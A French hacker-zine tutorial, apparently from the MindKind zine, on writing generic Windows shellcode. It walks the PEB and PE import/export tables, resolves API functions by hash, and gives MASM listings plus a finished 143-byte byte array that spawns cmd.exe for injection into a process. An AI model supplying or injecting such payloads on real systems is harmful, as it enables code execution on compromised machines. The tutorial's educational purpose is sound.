.-- -- ---- ----. ___| MKD1001\005 |____ _ ___________ _ ___________________________________ | '---------------' | | | | .---- - ----------------- - ---------------------------------- - --. . '-----' '---' Inteligent Windows Shellcode AKA Inteligent Windows Shellcode ;) ) Intro -------- Hello everybody. Dans mes derniers articles j'ai exploite differentes vulnerabilitees en utilisant des shellcodes. Ces shellcodes ne pouvaient fonctionner que sur un seul environnement, les adresses que j'ai utilisees pour les fonctions etaient celles de mon win2K sp4 et celles ci ont une facheuse tendance a etre modifiees avec les updates et version de win. Nous allons voir qu'il est possible de creer un code capable de se reperer tout seul dans le processus attaque. Pour cela je vais parler de la gestion de l'espace memoire sous win, du format PE, ... Je n'ai pas envie de tout expliquer, vous trouverez des liens pour vous aider avec certaines choses. He ouais faut bien que vous bossiez tout seul :p Les codes que je donne ici ne sont pas des references, je suis pas un tres bon codeur, j'essaye neanmoins de faire du mieux que je peux. II) Some explanations --------------------- Il faut savoir que sous tout les OS multitaches chaque processus possede son prope espace memoire. Sous un windows 32 bits il y a 2^32 addresses possibles pour chaque process, donc un espace virtuellement ! allouable de 4.3 Gb (chaque process ne prend pas 4 G de ram hein ;))de 00000000h à FFFFFFFFh, la moitie de cet espace est reserve au noyau (kernel land) et l'autre moitie a l'utilisateur (user land). Lorsque vous lancer un prog celui ci est charge en memoire par le loader de windows, celui ci trouve plein d'informations dans l'en-tete du fichier, le fameux format PE, il renseigne le loader sur l'endroit ou il doit charger les donnees,les differentes sections et le plus important sur les fonctions importees ou exportees. Pour nous l'objectif sera que notre code aille lire ces infos pour trouver ses fonctions. De plus amples information avec [Ring3]. Il existe 3 types d'adresses:VA, RVA et RAW: Les VA (virtual address) sont les addresses qui sont manipulees par tout programme de la forme 0x12345678 les RVA (Relative Virtual Adress) sont comme sont leurs nom l'indique des addresses relative a l'ImageBase du process ainsi dans l'en-tete PE toute les adresse sont des RVA par exemple si pour AddressOfNames on a 0x54F4C, pour trouver AddressOfNames en memoire il faut lui ajouter l'ImageBase, si celle ci vaut 0x77E70000 on aura AddresseOfNames a 0x77EC4F4C. Les RAW sont quand a elles des addresses qui sont ds le fichier sur le disque. Pour notre exemple cela donne offset:5454C Vous trouvez des docs avec [NEITSA] et [LORDPE]. Nous voulons que notre shellcode soit capable de se demerder tout seul, il nous faut donc avoir un repere fiable et communs a tout les processus. Pour nous ce sera le TEB (Thread Environnement Block) c'est tout simplement une structure qui contient differentes informations sur le thread executé, il est toujours pointe par le segment FS:[0] (Voir [RW32GS]). Dans cette structue du TEB nous trouvons en 0x30 un pointeur sur le PEB (Process Environnment Block). Dans le PEB on trouve a 0x8 l'ImageBase de notre process c'est a dire l'endroit ou il a ete charge en memoire. typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; BOOLEAN Spare; HANDLE Mutant; PVOID ImageBaseAddress; //0x8 PPEB_LDR_DATA LoaderData; //0xC .. .. } PEB, *PPEB; Apres avoir recupere l'ImageBase de notre process il faut que notre code trouve la fonction dont il a besoin, pour cela il va aller lire les differentes informations du PE. Je vais essayer d'expliquer comment l'on va proceder. IMAGE_DOS_HEADER.e_lfanew // RVA IMAGE_NT_HEADERS32 IMAGE_NT_HEADERS32.OptionalHeader.DataDirectory[1].VirtualAddress //RVA IMAGE_IMPORT_DESCRIPTOR Chaque structure IMAGE_IMPORT_DESCRIPTOR contient des informations pour une DLL importee. Par exemple si nous importons des fonctions de Kernel32.dll et de User32.dll nous aurons 2 structures qui se suivent dans la memoire (un tableau quoi). Voila a quoi ressemble une de ces structure: typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real date\time stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND) DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR; Ce qui nous interresse est OriginalFirstThunk et Firsthunk. L'union que vous voyez signifie que la premiere valeur de la structure est aussi bien Characteristics que OriginalFirstThunk mais ca n' a pas trop d'importance ici. En fait nous avons 2 pointeurs sur des tableaux de Thunks: typedef struct _IMAGE_THUNK_DATA32 { union { DWORD ForwarderString; // PBYTE DWORD Function; // PDWORD DWORD Ordinal; DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME } u1; } IMAGE_THUNK_DATA32; typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32; Vous voyez que IMAGE_THUNK_DATA32 n'est qu'un simple DWORD qui peut vouloir dire plein de choses. En fait l'OrginalFirstThunk pointe sur un tableau de Thunks ne contenant que des RVA (AddressOfData) sur IMAGE_IMPORT_BY_NAME cette structure contient un word puis le nom de la fonction importee. typedef struct _IMAGE_IMPORT_BY_NAME { WORD Hint; BYTE Name[1]; } IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME; Nous savons ou sont les noms des fontions, il nous "suffit" de scanner ces noms afin de trouver celle qu'on cherche. Mais il faut savoir a quelle addresse est chargee cette fonction pour cela on va utiliser le second tableau de Thunk celui pointe par FirstThunk, chacun de ces Thunk pointe sur la VA d'une fonction, en schematisant ca donne: OriginalFirstThunk->AddressOfData [Thunk 1] [Thunk2] [Thunk3] [Thunk4] 0x00EC/"NtResetWriteWatch" 0x014A/"RtlAllocateHeap" 0x009/"NtOpenFile" 0x003D/"ExitProcess" //Hint/Name FirstThunk->Function [Thunk 1] [Thunk2] [Thunk3] [Thunk4] 0x12345678 0x....... 0x....... 0x....... //adresses des fontions Ces 2 tableau sont paralleles, ainsi si nous voulons l'adresse de ExitProcess nous scannons le tableau des noms de fontions, on remarque que c'est le 4 eme Thunk puis nous allons dans le tableau des adresses de fontions et l'on prend le 4 eme element easy :) III) L'Importation ---------------- J'ai decide de faire cela en assembleur pour avoir le code le plus petit possible et parceque j'aime l'asm ;). So let's go. Evidemment c'est compiler avec MASM32 [MASM32]. Ban on commence par un premier probleme, comment etre sur de tomber sur la bonne fontion, je m'explique. Vous le savez (ou pas) en assembleur on ne peut comparer directement que des BYTE,WORD ou DWORD, imaginons que je cherche la fonction ExitProcess je scanne mon tableau de noms puis je compare avec "ExitProcess" pour voir si j'ai la bonne mais c'est la qu'il ya souci si l'on fait: cmp dword ptr [eax],"tixE" // eax pointe sur le nom de la fontion et on le compare a "Exit" parce que si jamais il y existe un autre fonction commencant par Exit on est foutu. Et je peut vous dire qu'il en existe pas mal: ExitThread,ExitTaMere, ExitTonCul .....bref :) Dans de nombreux shellcodes que j'ai vu que la methode de comparaison avec une string qui etait mise en oeuvre etait souvent complique voir [ROOTKIT]. Cependant il existe une methode, c'est d'assigner une signature a chaque fonction. Un hash si vous preferer, pas un truk genre MD5 au SHA-1 mais qqch de plus simple qui nous permettera d'avoir une signature unique par fonction,le voici en C_asm :) ------------CUT HERE-------------------- #include int main (int argc, char * argv[]) { if (argc !=2) return -1; int hash=0; for (int i=0; *(argv[1]+i)!=0;i++) { __asm{ lea eax,hash //adresse du hash ds eax mov ebx,[eax] //ebx=hash ror ebx,0xD //decalage de 13 bytes sur la droite mov [eax],ebx //refout ca ds hash } hash+=*(argv[1]+i); //on ajout a hash le i eme caractere*i } printf("Hash de %s: %x\n",argv[1],hash); } ------------CUT HERE-------------------- Exemple avec ExitProcess: C:\ProgHack\C>hash ExitProcess Hash de ExitProcess: 73e2d87e Apres tout ca ya plus qu'a pondre le code :) voili voilou: ------------CUT HERE-------------------- .486 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib assume fs:nothing FindImport PROTO :DWORD,:DWORD _ExitProcess equ 073e2d87eh .data format db "Addr: 0x%x ",10,0 .data? buffer db 100 dup(?) .code start: mov eax,fs:[30h] ;Sur le PEB mov ebx,[eax+08h] ;Sur image base address invoke FindImport,ebx,_ExitProcess invoke wsprintf,addr buffer,addr format,eax invoke StdOut,addr buffer invoke ExitProcess,0 retn FindImport PROC _ImageBase:DWORD, ApiHash:DWORD mov ebp,_ImageBase ;ebp=ImageBase Process mov eax,[ebp + 03ch] ; signature PE mov ecx,[ebp + eax + 080h] ; RVA Import Table mov edx,ebp add edx,ecx ;edx VA IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk next_dll: mov ebx,dword ptr [edx] ;Rva IMAGE_THUNK_DATA32 test ebx,ebx ;Fin du tableau? je fin add edx,014h ;Next IMAGE_IMPORT_DESCRIPTOR (prochaine DLL) add ebx,ebp ;VA IMAGE_THUNK_DATA32 xor ecx,ecx ;compteur a 0 ;compteur pour les fonctions de la dll ;On scan les noms de fonctions a la recherche de celle qui nous interesse find_function: mov esi,dword ptr [ebx+ecx] ;esi RVA AddressOfData add ecx,4 ;next IMAGE_THUNK_DATA32 test esi,esi ;plus de Thunk ? je next_dll add esi,ebp ;esi VA IMAGE_IMPORT_BY_NAME add esi,2 ;Name xor edi, edi xor eax, eax cld hash: lodsb ;LODSB Load byte at address DS:(E)SI into AL test al,al ;fin du nom ? jz finished ror edi,0dh add edi,eax jmp hash finished: cmp edi,dword ptr [esp+0Ch] ;ApiHash ;Image de la stack ;esp=> 0012FFF0 saved ebp ;esp+4 00401014 save eip ;esp+8 00400000 ImageBase ;esp+C 73E2D87E Hash jne find_function sub edx,14h sub ecx,4 mov ebx,dword ptr [edx+10h] ;rva firstthunk add ebx,ebp ;tableau des thunks add ebx,ecx ;eax addr de va fonction mov eax,dword ptr [ebx] jmp bye fin: xor eax,eax bye: pop ebp retn FindImport endp end start ------------CUT HERE-------------------- Ce qui nous donne: Addr: 0x77e969be Ho yeah on a l'addresse :). Hola pas la peine de ce rejouir trop vite. En effet par cette methode nous ne pouvons recuperer que les addresses de fonctions importes par notre programme. He ouais si on cherche d'autre fonctions c'est foutu: par exemple vla ce que on importe avec le prog import.exe.(fait avec LordPe) ->Import Table 1. ImageImportDescriptor: OriginalFirstThunk: 0x00002064 TimeDateStamp: 0x00000000 (GMT: Thu Jan 01 00:00:00 1970) ForwarderChain: 0x00000000 Name: 0x00002078 ("user32.dll") FirstThunk: 0x00002010 Ordinal/Hint API name ------------ --------------------------------------- 0x0262 "wsprintfA" 2. ImageImportDescriptor: OriginalFirstThunk: 0x00002054 TimeDateStamp: 0x00000000 (GMT: Thu Jan 01 00:00:00 1970) ForwarderChain: 0x00000000 Name: 0x00002092 ("kernel32.dll") FirstThunk: 0x00002000 Ordinal/Hint API name ------------ --------------------------------------- 0x0134 "GetStdHandle" 0x0080 "ExitProcess" 0x029E "WriteFile" Whaou on importe 4 fonctions. Pas de quoi faire grand chose avec ca. Mais il existe une autre solution, c'est d'aller les chercher ds les tables d'exportations des dll chargees! IV) L'Exportation ------------------ Precedemment nous avons fouille dans le PEB pour touver l'ImageBase de notre process, on peut aussi trouver dans ce PEB les ImageBase des dll (ou modules) chargees par le prog. Il nous suffit de recup ces ImageBase puis de lire les tables d'exportation des modules.[WIN_MEM] A 0xC on trouve dans le PEB un pointeur sur une structure PEB_LDR_DATA la voici: typedef struct _PEB_LDR_DATA { unsigned int Length ; int Initialized ; PVOID SsHandle ; LIST_ENTRY InLoadOrderModuleList ; // 0x0c LIST_ENTRY InMemoryOrderModuleList ; // 0x14 LIST_ENTRY InInitializationOrderModuleList ;// 0x1c } PEB_LDR_DATA, *PPEB_LDR_DATA ; On va s'interesser a la double liste chainé InMemoryOrderModuleList qui contient des pointeurs sur des structures de type LDR_MODULE: typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY; Une double liste chainee c'est pas dur ya un pointeur vers la structure suivant puis un autre sur la structure precedente :) typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; A 0x18 on a l'ImageBase du module, si c'est pas joli tout ca. Evidemment dans les modules chargés on trouve l'ImageBase de notre process et celui ci n'exporte pas les fonctions que nous voulons donc on touche pas. Voila le code qui enumere les ImageBase des modules chargés. ------------CUT HERE-------------------- .486 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib assume fs:nothing .data load db "InLoadOrderModuleList:",10,0 memory db 10,"InMemoryOrderModuleList",10,0 ini db 10,"InInitializationOrderModuleList",10,0 format db "Imagebase: 0x%x ",10,0 .data? buffer db 100 dup(?) .code start: invoke StdOut,addr load mov eax,fs:[30h] ;Sur le PEB mov edx,[eax+8h] ;On prend l'ImageBase du process mov ebx,[eax+0Ch] ;PEB->LoaderData mov ebx,dword ptr [ebx+0Ch];LoaderData->InLoadOrderModuleList.Flink next_Flink: mov eax,dword ptr [ebx+18h];Flink->BaseAddress mov ecx,dword ptr [ebx];Flink->InLoadOrderModuleList.Flink prochaine structure mov ebx, dword ptr [ebx] pushad invoke wsprintf,addr buffer,addr format,eax invoke StdOut,addr buffer popad test eax,eax ;quand ya plus jne next_Flink invoke StdOut,addr memory mov eax,fs:[30h] ;Sur le PEB mov edx,[eax+8h] ;On prend l'ImageBase du process mov ebx,[eax+0Ch] ;PEB->LoaderData mov ebx,dword ptr [ebx+014h];LoaderData->InMemoryOrderModuleList.Flink next_Flink1: mov eax,dword ptr [ebx+10h];Flink->BaseAddress mov ecx,dword ptr [ebx];Flink->InMemoryOrderModuleList.Flink prochaine structure mov ebx, dword ptr [ebx] pushad invoke wsprintf,addr buffer,addr format,eax invoke StdOut,addr buffer popad test eax,eax ;quand ya plus jne next_Flink1 invoke StdOut,addr ini mov eax,fs:[30h] ;Sur le PEB mov edx,[eax+8h] ;On prend l'ImageBase du process mov ebx,[eax+0Ch] ;PEB->LoaderData mov ebx,dword ptr [ebx+01Ch];LoaderData->InInitializationOrderModuleList.Flink next_Flink2: mov eax,dword ptr [ebx+8h];Flink->BaseAddress mov ecx,dword ptr [ebx];Flink->InInitializationOrderModuleList.Flink prochaine structure mov ebx, dword ptr [ebx] pushad invoke wsprintf,addr buffer,addr format,eax invoke StdOut,addr buffer popad test eax,eax ;quand ya plus jne next_Flink2 invoke ExitProcess,0 retn end start ------------CUT HERE-------------------- Ce qui donne: InLoadOrderModuleList: Imagebase: 0x400000 //Notre process Imagebase: 0x78460000 //Ntdll.dll Imagebase: 0x77e00000 //User32.dll Imagebase: 0x77f40000 //GDI32.dll Imagebase: 0x77e70000 //Kernel32.dll Imagebase: 0x0 InMemoryOrderModuleList Imagebase: 0x400000 Imagebase: 0x78460000 Imagebase: 0x77e00000 Imagebase: 0x77f40000 Imagebase: 0x77e70000 Imagebase: 0x0 InInitializationOrderModuleList Imagebase: 0x78460000 Imagebase: 0x77e70000 Imagebase: 0x77f40000 Imagebase: 0x77e00000 Imagebase: 0x0 Donc en couplant ce code avec celui qui scanne la table des exportations on peut trouver n'importe quelle fonction du moment quelle soit dans un des modules en memoire. Maintenant qu'on a l'ImageBase on va devoir scanner l'export table. typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; DWORD Base; DWORD NumberOfFunctions; DWORD NumberOfNames; DWORD AddressOfFunctions; // RVA from base of image DWORD AddressOfNames; // RVA from base of image DWORD AddressOfNameOrdinals; // RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; Les tableaux de noms de fonctions et d'ordinals sont alignés (comme dans la table de imports) donc on realise la meme operation que precedemment. On recupere le nombre de fonctions exportees avec NumberOfNames (ouais tte les fonctions exportees non pas forcement un nom :s) puis on scanne jusqu'a trouvé la fonction. On va ds le tableau des ordinals, on choppe l'ordinal puis goto tableau des addr a l'indice ordinal pour l'addr de la fonc. Allay le code est la: ------------CUT HERE-------------------- .486 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\masm32.lib assume fs:nothing FindExport PROTO :DWORD,:DWORD _ExitProcess equ 073e2d87eh .data format db "Addr: 0x%x ",10,0 .data? buffer db 100 dup(?) .code start: invoke FindExport,77e70000h,_ExitProcess ;ImageBase Kernel32.dll invoke wsprintf,addr buffer,addr format,eax invoke StdOut ,addr buffer invoke ExitProcess,0 FindExport PROC _ImageBase:DWORD, ApiHash:DWORD mov ebp,_ImageBase ;ebp=imagebase mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550) mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress mov ebx,dword ptr [ebp+ecx+20h] ;rva Name add ebx,ebp mov edx,ecx add edx,ebp mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames dec ecx find_function: mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name xor edi, edi xor eax, eax add esi,ebp ;VA name test ecx,ecx ;si ya pu je fin dec ecx ;previous cld hash: lodsb ; LODSB Load byte at address DS:(E)SI into AL test al, al ;fin du nom ? jz finished ror edi, 0dh add edi, eax jmp hash finished: cmp edi,dword ptr [esp+0Ch] ;ApiHash jne find_function inc ecx mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals add ebx,ebp ;VA AddressOfNameOrdinals mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction mov eax,dword ptr [edx+1Ch]; RVA Addr add eax,ebp ;VA addr mov eax,dword ptr [eax+ecx*4] add eax,ebp fin: pop ebp retn FindExport EndP end start ------------CUT HERE-------------------- Ce qui nous sort: Addr: 0x77e969be Magnifique on a l'addr de ExitProcess dans la memoire :) IV)The Shellcode! ------------------- Maintenant qu'on est capable de trouver n'importe quelle fonction on a plus qu'a ecrire le shellcode. On va faire un shellcode qui lance un cmd.exe, on va ainsi utliser l'api CreateProcess de kernel32.dll. Il faut savoir que kernel32.dll est tjrs charge en second ds la memoire donc avec InInitializationOrderModuleList il suffit de prendre le second element :) apres on scanne la table des exports puis on repere notre fonction et on balance le tout. ------------CUT HERE-------------------- .486 .model flat,stdcall option casemap:none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib assume fs:nothing _CreateProcessA equ 016b3fe72h .code start: push 30h pop ebx mov eax,fs:[ebx] ;Sur le PEB mov ebx,[eax+0Ch] ;PEB->LoaderData mov eax,dword ptr [ebx+01Ch];LoaderData->InitializationOrderModule.Flink mov ebx,dword ptr [eax] ;Next Flink mov ebp,dword ptr [ebx+8h] ;ImageBase Kernel32 mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550) mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress mov ebx,dword ptr [ebp+ecx+20h] ;rva Name add ebx,ebp mov edx,ecx add edx,ebp mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames dec ecx find_function: mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name xor edi, edi xor eax, eax add esi,ebp ;VA name dec ecx ;previous cld hash: lodsb ; LODSB Load byte at address DS:(E)SI into AL test al, al ;fin du nom ? jz finished ror edi, 0dh add edi, eax jmp hash finished: cmp edi,_CreateProcessA ;ApiHash jne find_function inc ecx mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals add ebx,ebp ;VA AddressOfNameOrdinals mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction mov eax,dword ptr [edx+1Ch]; RVA Addr add eax,ebp ;VA addr mov ebx,dword ptr [eax+ecx*4] add ebx,ebp ;STARTUPINFO: 68 bytes ;PROCESS_INFORMATION: 16 bytes sub esp,48h ;reserve la stack xor eax,eax mov cl,12h mov edi,esp rep stos dword ptr [edi] ;met 18 "couches" a 0 mov ebp,esp mov byte ptr [esp],44h;STARTUPINFO.cb=44 lea eax,dword ptr [esp+4h] ;esp+44 mov dword ptr [esp+44h]," dmc" ;balance a la 17 eme "cmd " lea edx,dword ptr [esp+44h] ;*************************************** ;| stack viewer | ;*************************************** ;0012FF7C 00000044 ;0012FF80 00000000 la strucure PROCESS_INFORMATION commence ici ;0012FF84 00000000 mais on met tout a 0 ;0012FF88 00000000 ;0012FF8C 00000000 ;0012FF90 00000000 ;0012FF94 00000000 tout ca c'est pour STARTUPINFO ;0012FF98 00000000 ;0012FF9C 00000000 ;0012FFA0 00000000 ;0012FFA4 00000000 ;0012FFA8 00000000 ;0012FFAC 00000000 ;0012FFB0 00000000 ;0012FFB4 00000000 ;0012FFB8 00000000 ;0012FFBC 00000000 ;0012FFC0 20646D63 "cmd " ;0012FFC4 77E98989 RETURN to kernel32.77E98989 xor ecx,ecx push eax push ebp push ecx push ecx push ecx inc ecx push ecx dec ecx push ecx push ecx push edx push ecx call ebx ; kernel32.createprocessa add esp,48h retn Invoke ExitProcess,0 end start ------------CUT HERE-------------------- ce qui donne un shellcode de 143 bytes sans null byte evidemment ;) char code[] = { 0x6A, 0x30, 0x5B, 0x64, 0x8B, 0x03, 0x8B, 0x58, 0x0C, 0x8B, 0x43, 0x1C, 0x8B, 0x18, 0x8B, 0x6B, 0x08, 0x8B, 0x5D, 0x3C, 0x8B, 0x4C, 0x2B, 0x78, 0x8B, 0x5C, 0x29, 0x20, 0x03, 0xDD, 0x8B, 0xD1, 0x03, 0xD5, 0x8B, 0x4C, 0x29, 0x18, 0x49, 0x8B, 0x34, 0x8B, 0x33, 0xFF, 0x33, 0xC0, 0x03, 0xF5, 0x49, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0xEB, 0xF4, 0x81, 0xFF, 0x72, 0xFE, 0xB3, 0x16, 0x75, 0xE1, 0x41, 0x8B, 0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x42, 0x1C, 0x03, 0xC5, 0x8B, 0x1C, 0x88, 0x03, 0xDD, 0x83, 0xEC, 0x48, 0x33, 0xC0, 0xB1, 0x12, 0x8B, 0xFC, 0xF3, 0xAB, 0x8B, 0xEC, 0xC6, 0x04, 0x24, 0x44, 0x8D, 0x44, 0x24, 0x04, 0xC7, 0x44, 0x24, 0x44, 0x63, 0x6D, 0x64, 0x20, 0x8D, 0x54, 0x24, 0x44, 0x33, 0xC9, 0x50, 0x55, 0x51, 0x51, 0x51, 0x41, 0x51, 0x49, 0x51, 0x51, 0x52, 0x51, 0xFF, 0xD3, 0x83, 0xC4, 0x48, 0xC3, }; A tester avec inject.exe par exemple On doit pouvoir certainement optimiser cela mais je vous laisse le soin de le faire ;) V) Conclusion --------------- Voila mon petit periple ds les shellcodes generiques s'acheve j'espere que cela vous a plus sachez que j'ai avant tout ecrit ce paper pour moi, ne le prennez pas mal, mais ca ma permi de mettre mes connaissances en pratique et en meme tps de faire profiter un maximum de monde. J'espere que je vous aie aussi donner cette envie de progresser dans le monde de la prog/hack et que bientot MindKind sera submerge de papers venu de partout (doux reve ....) Allay ciao Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind. EMail:ivanlef0u119@yahoo.fr WebSite: http://membres.lycos.fr/moi118118 References ---------- [TEB_PEB] http://undocumented.ntinternals.net/ [PE] http://www.lookinginside.net/ et http://win32assembly.online.fr/tutorials.html [RING3] http://membres.lycos.fr/rix/me/texts/ [NEITSA] http://neitsabes.online.fr/RE/HIRE/AddressConversion.htm [LORDPE] http://mitglied.lycos.de/yoda2k/LordPE/info.htm [Prack] http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt [MASM32] http://www.masm32.com/ [WIN_MEM] http://www.relsoft.net/part1.html http://www.milw0rm.com/shell.php?platform=win32 http://metasploit.com/ .-----. .---. | '----- - ------ - ------- - ------------------------------------- -' | | | |______ _ ________________________________.--------------------.______ _ ____| | by IvanLeFou | '--------------------'